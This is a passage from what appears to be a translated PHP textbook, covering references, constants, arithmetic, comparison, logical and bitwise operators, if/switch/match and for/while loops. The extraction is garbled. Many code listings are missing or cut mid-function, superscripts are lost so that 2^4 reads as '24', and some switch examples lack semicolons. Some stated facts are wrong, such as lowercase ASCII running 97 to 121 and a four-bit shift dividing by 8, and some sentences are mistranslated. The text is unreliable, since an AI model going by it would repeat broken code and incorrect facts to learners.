able no longer exists. Here PHP displays the error message Undefined variable.
Note
If you pass a parameter to a function by reference (see Chapter 6), then unset() only
deletes the local variable, not the original to which the reference refers.
References
Normally a variable has exactly one value. The value of the variable is stored in the
main memory by the PHP interpreter. However, you can also have several variables
refer to one value. This works with the ampersand character (&). Here's how it works:
you create a variable and then use the ampersand to assign the reference to this vari-
able to another variable.
<?php
$a = "A variable";
$b = &$a;
$a = "Changed variable";
echo $b;
?>
If you then change the original variable—in the preceding example, $a—then the vari-
able with the reference, in this case, $b, also receives the new value (see Figure 4.8). Inci-
dentally, there can also be a space between the equals sign and the ampersand, or the
ampersand can be placed directly in front of the $a variable.
Figure 4.8 The Changed Value Is Output as "$b" Contains the Reference to It
Note
These predefined variables are also called superglobal arrays as they are available
everywhere in PHP. They have been available since PHP version 4.1.0. Before that, these
arrays already existed, but they were called differently and always started with $HTTP_
—for example, $HTTP_GET_VARS. You can learn more about superglobal arrays in the
cited chapters. You will get to know the most important ones in Chapter 13.
4.4 Constants
Constants, unlike variables, always have the same value, which is defined once at the
beginning. In PHP, you define it with the const keyword or—less commonly—with the
define()function :
echo constant;
echo constant("constant");
This function is used if the constant name is only passed as a reference—for example,
stored in a variable or as a parameter of a function:
$Name = "Constant";
constant($Name);
Note
Unlike variables, constants do not have a $ sign. In addition, globally defined constants
automatically apply to the entire script.
In this chapter, you will learn the syntax of PHP, the most important language con-
structs, and the basics.
5.1 Operators
Operators have one main task: to connect data with each other. The data that are con-
nected are called operands. An operator works with one, two, or three operands.1 The
most common case is two operands. An operand is a variable or a literal. Here’s an
example with literals:
1 + 2
Operand Operator Operand
$a + $b
Operand Operator Operand
<?php
$a = 7;
$b = 3;
$result = $a * $b;
echo $result;
?>
1 An operator with one operand is also called unary, one with two is called binary, and one with three
is called ternary.
Arithmetic operators can only be applied to numbers. In addition to the operators for
the basic arithmetic operations and the minus sign for negative numbers, there is also
the modulo, which is represented with the percent sign (%). The modulo indicates the
integer remainder of a division:
$a = 7;
$b = 3;
$result = $a % $b;
According to these lines, the $result variable has the value 1. You calculate this as fol-
lows: 7 divided by 3 is 2 and a bit (more precisely, a third). The integer result of the divi-
sion is therefore 2. 2 times 3 is 6. The integer remainder of the division is therefore 7
minus 6, which is 1. You can arrive at this result more quickly by multiplying the deci-
mal place (here a third: ≈ 0.33333333333) by 3 again.
Table 5.1 provides an overview of the arithmetic operators.
Short Forms
If you want to change the value of a variable, you can do so as follows:
$result = 7;
$result = $result + 3;
However, the last step is somewhat long. For this reason, there is a short form that con-
nects the arithmetic operator directly with the assignment operator:
$result = 7;
$result += 3;
These short forms exist for all arithmetic operators. They are listed in Table 5.2.
$a = 7;
$a++;
Note
Increment and decrement are mainly used for loops (Section 5.3).
The decisive factor for increment and decrement is whether they are placed before or
after the variable. Before the variable means that the increment is executed before the
other statements. In the following example, the $result variable receives the result 11,
as the $a variable is increased by 1 to 8 before the subsequent addition with $b:
$a = 7;
$b = 3;
$result = ++$a + $b;
If the increment was after the $a variable, it would only be incremented after the state-
ment:
Exponential Operator
The exponential operator ** was introduced in PHP 5.6. Its task is, as its name suggests,
exponential calculation. Here is a simple example:
$a = 2;
$n = 4;
$result = $a ** $n;
According to these lines, the $result variable has the value 16. The second operand is
always the exponent; that is, this calculation corresponds to 24.
As usual, it is also available in short form:
$result = 2;
$result **= 4;
Connect Strings
In many programming languages, the plus symbol is used not only to connect num-
bers, but also to connect strings (see Figure 5.1). This is not the case in PHP. Instead, the
dot (.) is used:
<?php
$a = "Everything new ";
$b = "May makes.";
$result = $a . $b;
echo $result;
?>
Note
Joining strings is also called concatenation. Strings offer many other possibilities. You
can read more about this in Chapter 7.
The operator for linking strings is also available in a short form in conjunction with the
assignment operator:
7 > 3
Operand Operator Operand
The result is a truth value (Boolean)—that is, either true or false. The comparison 7 >
3 therefore results in true, as 7 is greater than 3. Truth values are also returned by PHP
as numbers in the output. true in this case is 1; false is 0.
Note
If you output the return value of an operation with a comparison operator with echo,
for example, the 1 for true is output, but the 0 for false is not.
You are probably already familiar with most of the comparison operators. Table 5.3 pro-
vides an overview.
Note
One of the most common errors is to use a single instead of a double equals sign for
the equality check. This error is difficult to detect because, for example, in an if state-
ment (Section 5.2), a single equal sign is interpreted as an assignment. This means that
PHP does not throw an error message but evaluates the right part of the comparison as
the value of the variable in the left part. This means that the condition in the if state-
ment is always fulfilled except for 0 or false. You can find the equals.php example in
the working files.
$a = 3;
$b = "3";
$result = $a === $b;
What is the value of the $result variable? Because the $a variable is a number and $b is
a string, the result is false. If you had chosen simple equality instead of exact equality,
$result = $a == $b;,
Compare Strings
If you want to compare two strings with each other, this is possible but is fraught with
problems. The basis of a string comparison is the ASCII code of the respective character.
This code defines a number for the most important characters and letters (see Figure
5.2). The letters start from position 65 in the ASCII code for the capital A.
However, you do not need to know the complete ASCII table by heart to predict the
result of a string comparison. A few rules of thumb will help:
쐍 Lowercase letters are always larger than uppercase letters because they have higher
ASCII codes.
쐍 The capital letters have the ASCII codes from 65 to 90 in alphabetical order.
쐍 The lowercase letters have the codes from 97 to 121 in alphabetical order.
쐍 The letters of strings are compared from left to right.
$a = "a";
$b = "b";
$result = $a < $b;
2 Exact equality and exact inequality are also called identity and nonidentity.
Figure 5.2 An ASCII Table Shows the Code of the Individual Characters
(see www.asciitable.com)
With these lines, the $result variable receives the value true because the small a has a
lower ASCII code than the small b.
The next example results in false:
$a = "a";
$b = "B";
$result = $a < $b;
The reason: the capital B has a lower ASCII value than all lowercase letters, including the
lowercase a.
$a = "abzzz";
$b = "acaaa";
$result = $a < $b;
In this example, the result is therefore true. The interpreter sees that the first digit is
the same, checks the second, and notices that the small b is smaller than the small c
there. The digits after this no longer play a role.
If two character strings are of different lengths, the comparison is still made from left
to right: Z is therefore greater than evening. If the characters in both strings are the
same, the longer string is always larger:
$a = "abc";
$b = "abcde";
$result = $a < $b;
In this case, $b is therefore greater than $a and the result ($result) is therefore true.
Note
In the working files in the folder for this chapter, you will find the strings_compare.php
file, which contains the examples shown here.
Tip
In PHP, there is a somewhat unusual behavior when comparing strings: If two strings
containing numerical values are compared with each other, the strings are converted
to numbers before the comparison.
$a = "5.40";
$b = "5.4";
$result = $a == $b;
therefore results in true. The same comparison with exact equality (===) would result
in false, as in this case the string comparison would be applied, and the appended 0 in
variable $a would make the difference.
It gets a little more complicated when comparing a number with a string, as in the fol-
lowing case:
$c = 0;
$d = 'Test';
$result = $c == $d;
PHP 7.x would return true here because the string is automatically converted into a
number. However, as it does not contain a meaningful number, the result would be 0,
and the comparison 0 == 0 would return true. This is not entirely clean, which is why
PHP 8 has been tidied up. The string is now only converted into a number if it also
results in a meaningful number. If not, the comparison is made on a string basis; that
is, "0" is compared with "test" and results in false.
<?php
$a = "a";
$b = "B";
$a_low = strtolower($a);
$b_low = strtolower($b);
Figure 5.3 Now Strings Are Compared Regardless of Upper- and Lowercase Characters
In practice, this simple trick is often used in conjunction with arrays. PHP offers its own
function called sort() for sorting an array:
If you output the first and last element of the sorted array, then Chagal and Monet are
output correctly:
However, as soon as one of the elements of the array begins with lowercase letters, sort-
ing with sort() fails (see Figure 5.4).
As a solution, we combine the trick for correct sorting with the usort(Array, sort func-
tion) function, which allows its own sorting function (see Figure 5.5). The sort function
always compares two elements of the array and returns either 0 (equal), 1 (parameter a
greater than b), or -1 (parameter b greater than a) as the result of the comparison.
<?php
$collection = array("Monet", "chagal", "Dali", "Manet");
usort($collection, "sort");
if ($a_low == $b_low) {
return 0;
} elseif ($a_low > $b_low) {
return 1;
} else {
return -1;
}
}
echo "$collection[0] und $collection[3]";
?>
Figure 5.5 Now the Alphabetical Sorting Works Despite Lowercase Letters
Spaceship Operator
The spaceship operator not only performs a simple comparison for greater than or less
than, but also returns as a result whether the first operand is less than (-1), equal to (0),
or greater than (1) the second. Its elegant name is derived from its shape as the space-
ship operator looks a bit like a spaceship: <=>. It was a new feature in PHP 7.
The following listing offers a simple example (see Figure 5.6).
$a = 3;
$b = 7;
$result = $a <=> $b;
echo $result;
Figure 5.6 "-1" Means that the First Operand Is Smaller than the Second
In this case, the logical AND is used (&& or alternatively and). It only returns true if both
operands return true. This is why the preceding line returns false.
If you use two comparisons, you could use a logical operator like this:
This line returns true as the result as both comparisons return true and the logical
comparison returns true accordingly.
Note
You can also combine several logical operations. However, we recommend using brack-
ets for reasons of clarity.
&& and 7 > 3 && 2 < 4; //true Logical AND. Returns true if both operands
return true.
|| or 7 < 3 || 2 < 4; //true Logical OR. Returns true if one or both operands
return true.
xor 7 > 3 xor 2 < 4; //false Logical EITHER OR. Only returns true if one of
the two operands is true. Returns false if nei-
ther or both operands are true.
There are two variants of logical AND and logical OR in PHP: one with symbols and one
with letters. The only difference is that the variant with symbols has a higher operator
precedence (Section 5.1.6).
Short-Circuit Evaluation
The short-circuit evaluation is a PHP programming concept designed to increase per-
formance. If a comparison with a logical operator is already fulfilled for the first oper-
and or fails, then the second operand is no longer checked. In the following example,
the first comparison already returns false. Because the logical AND already returns
false, the second comparison is no longer checked:
In practice, this behavior of PHP usually has no effect on your programming. Function
calls are an exception. Here it makes sense to carry out simple comparisons first if you
want to ensure that both functions are called in any case.
A bit assumes the values 0 or 1. As there are two possible values, this is also called a
binary value. The corresponding notation for data is binary notation. Every integer can
be written in bits.
The binary notation consists of a pattern. The pattern has as many digits as the number
has bits. A number with four bits therefore has four digits and can represent 24 num-
bers—that is, 16 numbers.
0010 stands for the number 2. The bit pattern is read from right to left. The right-hand
number stands for 1, the second from the right for 2, the third for 4, the fourth for 8—
and so on. These numbers are added together to give the integer.
Consider some examples:
쐍 1111 stands for 8 + 4 + 2+ 1, which equals 15.
쐍 1010 stands for 8 + 0 + 2 + 0, which equals 10.
Note
In PHP, you can also enter numbers directly in binary notation. To do this, the number is
preceded by 0b—for example, 0b1111 for 15.
The bitwise operators work with integers as binary patterns. The bitwise AND (&) sets a
1 wherever both operands have a 1.
10 & 3
The comparison does not result in a 1 for both operands at the first position from the
right. Therefore, the number resulting from the comparison is 0 at this position. At the
second position, both operands have a 1, so the result is 1. If this continues, the follow-
ing binary pattern is created:
0b0010
& 1010 & 0011 Bitwise AND; writes a 1 to the places where both
//Result: 0010 = 2 operands have a 1.
<< 1010 << 1 Bitwise shift to the left; shifts the binary pattern
//Result: 10100 = 20 of the left operand to the left by the digits speci-
fied in the right operand. The right-hand side is
filled with zeros. The shift by one place corre-
sponds to multiplication by 2, by two places to
multiplication by 4, by three places to multiplica-
tion by 8, and so on.
>> 1010 >> 1 Bit-by-bit shift to the right by the digits specified
//Result: 0101 = 5 by the right operand. The bits that remain on the
right are deleted. If the left operand has a nega-
tive sign, the left side is filled with ones, other-
wise with zeros. Shifting by one bit corresponds
to division by 2 (without remainder), shifting by
two bits corresponds to division by 4, shifting by
four bits corresponds to division by 8, and so on.
Note
The bitwise shift is one of the most frequently used bitwise operators as it offers a sim-
ple option for division and multiplication by powers of two.
All binary operators are also available in the short form with the assignment operator.
The following lines change the value of the $a variable from 10 to 40:
$a = 10;
$a <<= 2;
Note
If you are new to PHP, you will not yet be familiar with many of the options used here.
You will get to know the programming constructs in this chapter, and you will learn
how to use forms in Chapter 13.
The conversion of the number entered in the form consists of three important ele-
ments:
쐍 A loop runs through the eight digits of the binary number from 7 to 0. The counter
$i is used in the following statements both to access the array and for the calcula-
tion:
쐍 Within the loop, use the bitwise AND to check whether there is a 1 in the number at
the position. The second power of the counter results in the respective position—in
the first run 27 = 128, in the second 26 = 64, and so on. If there is a 1 in the respective
position, a 1 is set in the array, otherwise a 0:
쐍 Finally, convert the array with the data values into a string using join():
<?php
$number = "";
$binary = "";
if (isset($_GET["Send"]) && $_GET["Send"] == "Convert") {
$number = $_GET["input"];
$binaryNumbers = array();
?>
<html>
<head>
<title>Binär</title>
</head>
<body>
<form>
<input type="text" name="input" value="<?=$number ?>" />
<input type="text" name="output" value="<?=$binary ?>" />
<input type="submit" name="Send" value="Convert" />
</form>
</body>
</html>
Note
You can find a few of these exotic operators here. The operators that are relevant for
objects are discussed in Chapter 11.
Error Suppression
The category of unusual operators includes the operator for suppressing error mes-
sages, the @ symbol. If you place this operator in front of an expression, an error mes-
sage generated by this expression is suppressed. An expression can be a function call,
the loading of an external script, or something similar. Here is an example with the call
of an unknown external file:
$file = @file('unknown.php');
However, since PHP 8, there is a new feature here: fatal errors—that is, serious errors
such as a nonexistent function—are not suppressed. The following line would there-
fore generate an error message in PHP 8:
@functionName();
Note
The effect of @ in expressions is strong—despite the sensible weakening in PHP 8. As
the error message is suppressed, troubleshooting is difficult when using @. For this rea-
son, you should use @ very carefully in practice—or better yet, not use it at all and
remove it first when testing if the script does not work as desired.
Note
You can learn more about detecting errors in Chapter 35.
Shell Operator
The shell operator is used to execute a command in the shell. The command is written
between slanted lines from top left to bottom right, which are also called backticks (i.e.,
`statement`).
"print"
The print language construct is also considered an operator in PHP. This actually only
has one effect: print occurs in the sequence of operators and has a higher rank than the
logical AND. This means that the following line outputs 1 for true, as the first compari-
son is output first before the logical operator is used:
If you were to use the logical AND with symbols instead, then no value, that is, false,
would be output, as the logical AND with symbols has a higher rank than print:
With print, this line would have output 1 for true; with echo, no value, that is, false, is
output.
Conditional Operator
The conditional operator is used to choose between two expressions. If the condition is
met, then expression1 is used, otherwise expression2. The expression used returns a
value:
Because the conditional operator with condition, expression1, and expression2 is the
only operator in PHP that has three operands, it is also called a ternary operator.
The following code checks whether a variable has the value 4 and returns a value:
$a = 4;
$result = $a != 4 ? 4 : 8;
The $result variable has the value 8 after using the conditional operator.
Note
If you execute a statement as an expression, the conditional operator replaces a simple
case distinction. However, this is considered rather unclean programming. You should
therefore only really use the conditional operator if you want to choose between two
expressions.
With the ternary operator, the middle part can also be omitted:
Condition ?: Expression2;
In this case, the value of the condition is returned directly, unless the condition is not
fulfilled. In this case, expression2 is returned. In the following example, the condition—
in this case, variable $a—is checked first:
$a = false;
$result = $a ?: 'false';
Operand1 ?? Operand2;
The following line shows the operator in use. A GET variable is checked here (see Figure
5.8). If it is not null, then its value is stored in the $result variable. If it is null, then the
string 'alternative' is used.
Figure 5.8 The Result Changes if the GET Variable Is Defined (Pay Attention to the GET
Parameter in the Address Bar in the Bottom Image!)
Note
This solution corresponds exactly to the following approach with conditional operator ?:
$result = isset($_GET['variable']) ? $_GET['variable'] : 'Alternative';
This saves a lot of typing work and results in more elegant code.
3 Coalescing actually means "merging" and is known in IT from the area of memory handling. Here, it
refers to the process of checking a value and then creating a selection from two values as a result.
The conditional operator with zero check can not only be used with one value at a time,
but also combined to form a check chain. To do this, simply append the operands
together:
If the GET variable with the name variable exists, this value is used for $result. If it does
not exist, variable2 is checked next, and only then is the alternative value used.
Nullsafe Operator
The nullsafe operator is new in PHP 8 and serves as a useful addition to the conditional
operator with null checking.
"Why another operator?" some will ask themselves. The official example in the PHP 8
documentation illustrates it quite well. The aim of the nullsafe operator is to resolve
the eternal nested checks for nested objects. Thus, this complex construct:
$country = null;
if ($session !== null) {
$user = $session->user;
if ($user !== null) {
$address = $user->getAddress();
if ($address !== null) {
$country = $address->country;
}
}
}
$country = $session?->user?->getAddress()?->country;
The operator ?-> is a combination of the null check and the call of the next method or
property. The null check always applies to the left operand.
Any nesting is possible; that is, the operator can be used several times in succession.
However, for performance reasons, a hard stop is made as soon as the first operand is
zero. This corresponds to the principle of short-circuit evaluation.
The main area of application of the operator is reading data with function and method
calls in an object-oriented environment. It is important to note that it is not suitable for
writing or setting values.
The following example shows the use of a Travel class that uses an optional DateTime
object:
class Travel {
public ?DateTime $start = null;
}
This object is not created here because it was intentionally commented out:
In this case, the nullsafe operator intervenes, determines that the second operand,
start, has the value null, and thus ends the check:
$arrival = $travel?->start?->format('d.m.Y');
<?php
class Travel {
public ?DateTime $start = null;
}
$arrival = $travel?->start?->format('d.m.Y');
var_dump($arrival);
?>
The differentiation from the conditional operator with null check is not entirely
straightforward; both can be used across the board for some applications. Therefore,
here is a brief overview of the most important differences:
쐍 The nullsafe operator allows the concatenation of function and method calls with
short-circuit evaluation. With the conditional operator, however, calling an unknown
method would lead to an error.
쐍 The nullsafe operator does not support array keys. This means that if an array key
does not exist, it returns an error:
$a = array();
$b = $a['test']?->property;
쐍 The conditional operator, on the other hand, easily accepts the empty array key and
takes the alternative text Not available:
$a = array();
$b = $a['test']->property ?? 'Not available';
$result = 2 + 4 * 5;
The result is 22. The multiplication is carried out first, then 2 is added. The * operator
therefore has a higher rank4 than +. In mathematics, this corresponds to the "dot before
dash" rule.
You could also influence the execution sequence. To do this, use round brackets:
$result = (2 + 4) * 5;
The result of this line is 30, as 2 and 4 are added first and the sum is then multiplied by
5. The round brackets are themselves an operator.
Because not all rankings are as straightforward as the simple mathematical rules, you
will find a list of the most important ones in Table 5.6. The higher the rank, the higher
the preference. This means that operations with a higher rank are executed first.
Within a rank, the order of execution depends on the associativity. For all operators
that can appear several times in a row, this indicates whether the operator order runs
from left to right or from right to left. In the case of multiplication, division, and mod-
ulo, the operation on the left is executed first, then the one to the right, and so on.
$result = 6 / 3 * 2;
20 Without new
19 Left []
17 Left * / %
16 Left + - .
12 Left &
11 Left ^
10 Left |
9 Left &&
8 Left ||
7 Left ? :
5 Right print
4 Left and
3 Left xor
2 Left or
1 Left ,
5.2.1 "if"
The if case distinction in its basic form consists of two important elements: a condi-
tion that is checked, and a statement block that is only executed if the condition is met.
For the PHP interpreter to be able to do anything with it, you must adhere to the follow-
ing simple syntax:
if (condition) {
statements;
}
In plain English, this means: If the condition is fulfilled, then execute the statements. If
the condition is not met, then the statements are ignored. Then—in both cases—the
code is executed after the if case distinction. The statements within the curly brackets
are also called statement blocks.
The following example checks the age of a child. The age is specified here via the $age
variable in the source code. Of course, this can also be a user input in a form or a value
from a database.
<?php
$age = 4;
if ($age > 3) {
echo "At $age years, the child has outgrown infancy.";
}
?>
What do you think is displayed? That’s right: the text with the age of the child (see
Figure 5.10).
If you change the value of the $age variable to 3 or a lower number, for example, then
there is no output. The page therefore remains empty because the condition is not ful-
filled and the output statement with echo thus is not executed at all.
"elseif"
In practice, there is often not just one alternative, but several. One possible solution is
to simply write several if case distinctions one after the other:
if ($age > 3) {
echo "At $age, the child has outgrown infancy.";
}
if ($age >= 2) {
echo "The $age year old baby can speak a little.";
}
What happens if the variable $age has the value 6? Because the two if case distinctions
have nothing to do with each other, both are checked separately. Because both condi-
tions are met, PHP executes both statements (see Figure 5.11).
Figure 5.11 A Six-Year-Old Baby Who Can Only Speak a Little? That Does Not Work.
if (condition) {
statements;
} elseif (condition) {
statements;
}
The elseif statement block is only executed if the if condition was not fulfilled and the
elseif condition is fulfilled. The next example uses elseif instead of the two if state-
ments in the last example.
$age = 6;
if ($age > 3) {
echo "At $age years old, the child has outgrown infancy.";
} elseif ($age >= 2) {
echo "The $age years old baby can speak a little.";
}
In this example, the if condition is checked first. Because it is fulfilled, the statement
block is executed. Then PHP leaves the case distinction. The elseif condition is there-
fore no longer checked. You can see the result in Figure 5.12.
Note
You can use any number of elseif conditions in succession. As soon as the first condi-
tion is fulfilled, the case differentiation is exited.
"else"
You can cover many cases with if and elseif, but often not all. That is why there is the
else statement block:
if (condition) {
statements;
} elseif (condition) {
statements;
} else {
statements;
}
The else statements are always executed if none of the previous conditions are met. In
the following example, the if and elseif conditions do not apply. Therefore, the out-
put is from the else statement block (see Figure 5.13).
$age = 18;
if ($age > 3 && $age < 18) {
echo "At $age, the child has outgrown infancy.";
} elseif ($age >= 2 && $age <= 3) {
echo "The $age year old baby can speak a little.";
} else {
echo "Still a very small baby or already grown up.";
}
Figure 5.13 The "else" Statement Is Executed as None of the Previous Conditions Apply
Note
The elseif statement is actually a combination of if and else, which programmers
invented to make their lives easier. Only with if and else could you simulate elseif in
this way:
if (condition) {
statements;
} else {
if (condition) {
statements;
} else {
statements;
}
}
Short Forms
The if case distinction can also be written in a shorter form by putting everything on
one line:
if (condition) { statement; }
If there is only one statement in the statement block, then you can simply omit the
curly brackets:
if (condition)
statement;
You can then also write the whole thing on one line:
if (condition) statement;
And the short form also works with elseif and else.
$age = 0;
if ($age > 3 && $age < 18) echo "Youth";
elseif ($age >= 2 && $age <= 3) echo "Speaking age";
else echo "Small baby or adult";
Note
This case distinction in three lines saves a little typing work but can lead to problems
later as it is quite difficult to read. When you look at your code again after a month, you
will need some time to untangle the cryptic case distinctions. And the colleague who
has to continue working with your code will also have trouble with this confusing vari-
ant.
Alternative Form
With the short form, you have not yet reached the end of the alternative notations for
a simple case distinction. PHP also offers a notation with a colon and endif:
if (condition) :
statements;
elseif (condition) :
statements;
else:
statements;
endif;
<?php
$a = 10;
if ($a < 8) :
?>
<?php
elseif ($a >= 8 && $a < 20) :
?>
<?php
else:
?>
<?php
endif;
?>
Listing 5.12 The HTML Output Is Woven into the Case Differentiation ("if_alternative_
form.php")
Nested
You can nest if case distinctions into one another as you wish. The only condition is
that you can still find your way through your tangled thoughts. The following example
(see also Figure 5.15) shows a nested case distinction, which also illustrates the complex-
ity of nesting.
$age = 20;
if ($age > 3) {
echo "At $age, the child has outgrown infancy.";
if ($age > 18) {
if ($age <= 21) {
echo "Already an adult?";
} else {
echo "Adult.";
}
} elseif ($age >= 10) {
echo "A teenager";
} else {
echo "A small child";
}
} else {
echo "Another baby";
}
5.2.2 "switch"
The second case distinction in PHP is switch. It can also be found in many other pro-
gramming languages, but it is sometimes called something else, such as select in
Visual Basic and VBScript.
switch checks the values for a variable or an expression in individual cases. If a value
matches the value of the variable, the following statements are executed. The break
statement then exits the switch case differentiation:
switch (Variable) {
case Value1:
Statements;
break;
case Value2:
Statements;
break;
case Value3:
Statements;
break;
}
The switch case distinction is particularly suitable if you want to check a variable for
different values. In the following listing and in Figure 5.16, you can see an example.
$age = 30;
switch ($age) {
case 29:
echo "You are 29.";
break;
case 30:
echo "You are 30."
break;
case 31:
echo "You are 31."
break;
}
"break"
If you omit the break statement in a switch case distinction, all statements are executed
from the case that applies. This behavior can sometimes be desirable, such as if you
want to execute the same statements for several cases, but in the following example it
leads to an undesirable result (see Figure 5.17).
$age = 30;
switch ($age) {
case 29:
echo "You are 29.";
case 30:
echo "You are 30.";
case 31:
echo "You are 31.";
}
The background to this behavior is quickly explained: switch case distinctions are exe-
cuted stubbornly line by line. If a condition is met, this means that all subsequent lines
are to be executed. The case lines are ignored, but all normal statements are executed.
Sometimes this behavior is desirable, especially if statements are to be executed from
a certain point on.
switch (Variable) {
case value1:
statements;
break;
case value2:
statements;
break;
default:
statements;
}
With the standard case, you can catch everything that was not considered in the previ-
ous cases. In the following simple example, the standard case is responsible for every-
one who is not between 29 and 31 years old (see Figure 5.18).
$age = 32;
switch ($age) {
case 29:
echo "You are 29.";
break;
case 30:
echo "You are 30.";
break;
case 31:
echo "You are 31.";
break;
default:
echo "You are not between 29 and 31.";
}
With Condition
Until now, you have only used switch, but switch also allows you to specify conditions
for individual cases. For example, you can check ages in categories.
switch ($age) {
case $age >= 10 && $age < 30:
echo "You are between 10 and 29.";
break;
case $age >= 30 && $age < 50:
echo "You are between 30 and 49.";
break;
case $age >= 50 && $age < 70:
echo "You are between 50 and 69.";
break;
default:
echo "You do not fit into any of the categories.";
}
Note
For the sake of clarity, it may be advisable to place the conditions in round brackets.
However, this is not necessary.
From the perspective of the PHP interpreter, switch is actually more similar to a loop.
For example, the break statement can also be replaced by a continue statement. This has
the advantage that you can cancel switch with continue 2, for example, and call the
next outer loop iteration.
However, these are special cases, and it is a matter of taste which variant you choose.
5.2.3 "match"
With the match case distinction, PHP 8 actually brings a comparatively large innovation
to basic programming functions. The aim here is to achieve better structured and more
readable source code in as few lines as possible. For many applications, match is
intended to replace switch, which is not very popular among professionals.
In contrast to switch, match returns a result for each case. This means that in the end
there is a result that can be used for further processing. From PHP's point of view, match
is therefore an expression as it has a value. This is why there must always be a semico-
lon at the end of a match statement after the closing curly bracket:
But this is not the only difference between match and switch. The syntax is also clearly
different, as you can see here. Although the variable is enclosed in round brackets as
usual, each value check is followed by the return on just one line. The lines are sepa-
rated by commas. match does not use break. Instead, the check is ended directly as soon
as the first value matches the current value of the variable.5
If a return applies to several values, the values in the respective line can be separated by
commas. Finally, the default standard case is optional. It is returned if no values before
it apply.
Note
The default case is optional; that is, it does not necessarily have to be defined. How-
ever, a little caution is required here, as match is very strict. If none of the values apply
and there is no default case, then match throws an error of type UnhandledMatchError.
The purpose of this strictness is to avoid small bugs by using clean code right from the
start.
5 This process is also known as short-circuit evaluation, and it provides a performance gain as all sub-
sequent instructions can be ignored.
$age = 55;
$result = match ($age) {
54 => "You are 54.",
55 => "You are 55.",
56, 57, 58 => "You are between 56 and 58.",
default => "You do not fit into any of the categories."
};
echo $result;
In this case, the match case distinction first checks for the value 54. As it does not apply,
it jumps to the value 55 for checking. This corresponds to the current value of the $age
variable. The return from this line is then used and assigned to the $result variable. The
output is therefore the following:
The next check for multiple values and the standard case are no longer executed.
Exact Equality
One important difference from switch remains: when checking the values, match works
with exact equality—that is, corresponds to the operator === and includes the type of
the value. To test this, we can change the first line of the script and turn the $age vari-
able into a string instead of an integer.
$age = '55';
$result = match ($age) {
54 => "You are 54.",
55 => "You are 55.",
56, 57, 58 => "You are between 56 and 58.",
default => "You do not fit into any of the categories."
};
echo $result;
In this case, match detects a type mismatch for all values. Therefore, the default case
occurs and the output reads as follows:
In the respective line for this case, we then replace the value with a check that returns a
truth value as the result:
$age >= 10 && $age < 30 => "You are between 10 and 29.",
As soon as this check returns true for a line, match strikes and accepts the return value
for this line—that is, for the following line in the example:
$age >= 50 && $age < 70 => "You are between 50 and 69.",
Note
The actual test is moved to the test line here. This also means that you can test at this
point without strict typing. In our case, >= and < are used as operators. This means that
the check would also return true if $age were a string instead of an integer.
The following lines are ignored, even if their checks would also return true.
$age = 55;
$result = match (true) {
$age >= 10 && $age < 30 => "You are between 10 and 29.",
$age >= 30 && $age < 50 => "You are between 30 and 49.",
$age >= 50 && $age < 70 => "You are between 50 and 69.",
default => "You do not fit into any of the categories."
};
echo $result;
Figure 5.19 The Complex Check Has Found the Correct Value
Note
When planning the match case differentiation, some function enhancements were
already under discussion, such as statement blocks in addition to the single-line return
values. We can therefore expect a number of new features in the next PHP versions.
5.3 Loops
With loops, you execute statements several times in succession. PHP knows four types
of loops, which are also quite common in other programming languages.6 You will now
get to know three of the four loops. The last one, foreach, is mainly used with objects
and arrays. It is discussed in Chapter 11.
5.3.1 "for"
The for loop is the most convenient of all loops. It already has three arguments to con-
trol the loop behavior:
The start statement, condition, and run-through statement are used to control how
often a loop is run through. Together, they form the loop counter.
Take a look at the following code example.
Here, variable $i is initialized with the value 0 in the start statement. It is the counter
variable. The condition is that $i remains less than 10. In the statement block, $i and a
line break are output. The run-through statement increases $i by 1 using an increment.
Can you imagine what the loop outputs? That’s right: the numbers from 0 to 9, as
shown in Figure 5.20.
Note
$i, $j, and so on are often used as counter variables. This is not required, but it has
become common practice.
Endless Loops
The run-through statement is used to ensure that the condition is no longer fulfilled at
some point. If this does not work—that is, the condition is always fulfilled—then the
loop is executed endlessly (see Figure 5.21).
Such a loop is called an infinite loop. In the best-case scenario, this will result in a heavy
computer load on your server. This is not a problem when testing; you can simply click
the browser’s Cancel button to end it. In a production system, however, an infinite loop
can lead to a number of problems, and the cause may be difficult to find.
Other Forms
As is usually the case in PHP, there are several alternative solutions for the for loop syn-
tax that also work.
If the statement block only consists of one line, you can omit the curly brackets in the
same way as for the if case distinction. You can even put the statement behind the
round brackets of the loop.
You can omit any of the three arguments. In the following example, we have initialized
the counter before the loop and changed it within the statement block. The start and
run-through statements are omitted. In this case, a for loop works like a while loop (see
next section).
$i = 0;
for (; $i < 10; ) {
echo "$i<br />";
$i++;
}
Note
In practice, you usually leave out one of the arguments if it does not need to be set. This
is usually the start statement, as the variable or element that is to be used as a counter
has already been created.
You can write the for loop with a colon syntax like the if case distinction and then use
endfor to end the loop. This allows you to output HTML code in the loop.7 In the follow-
ing example, we include PHP once again within the HTML code, which outputs the
counter variable (see Figure 5.22).
<?php
for ($i = 0; $i < 10; $i++):
?>
<p>Output: <?=$i ?></p>
<?php
endfor;
?>
7 This also works—as with if—with the syntax with curly brackets.
Nesting Loops
Loops can be nested as desired in PHP. You simply write one loop in the statement
block of the other loop.
This example forms 10 rows, each containing the numbers from 1 to 10 multiplied by
the row number (see Figure 5.23).
In practice, nested loops are used, for example, if you want to manipulate a graphic
with PHP. To recolor every pixel of an image, use a for loop that goes through all hori-
zontal pixel columns and a nested for loop that goes through all pixel rows. With these
two nested for loops, you can catch every pixel of the image. Another area of applica-
tion is multidimensional arrays, which you will become familiar with in Chapter 8.
5.3.2 "while"
The while loop is considered the mother of loops—because it occurs in most program-
ming languages and because the other loop types can be formed from it.
The while loop has only one "built-in" functionality—namely, the condition:
while (condition) {
statements;
}
The loop is executed as long as the condition is true. However, for the loop to terminate
at some point, part of the condition must change. The for loop provides the run-
through statement for this purpose; in the while loop, you have to create it yourself.
Take a look at the following example.
<?php
$i = 1;
while ($i < 10) {
echo "$i<br />";
$i++;
}
?>
The $i variable is the counter variable. It is initialized before the while loop. The while
loop itself only checks whether $i is less than 10. So long as this is the case, the state-
ments are executed. The statement block also contains the run-through statement. $i
is increased by 1 in each loop run (see Figure 5.24).
Note
If you wanted to draw a parallel to the for loop, it would look like this syntactically:
Start statement;
while (condition) {
statements;
run-through statement;
}
Other Forms
The while loop also allows some other notations. If you like to shorten, you have the fol-
lowing options:
1. If there is only one statement in the while loop, you can omit the curly brackets and
even write everything in one line. This is analogous to the for loop, but where does
the run-through statement go? You can (only in simple cases) insert it directly into
the statement using an increment or decrement. In Listing 5.28, the increment is
written after the operand. This means that it is only executed after the statement.
$i = 1;
while($i < 10) echo $i++ . "<br />";
2. There is also the colon syntax for the while loop, which is ended here with endwhile
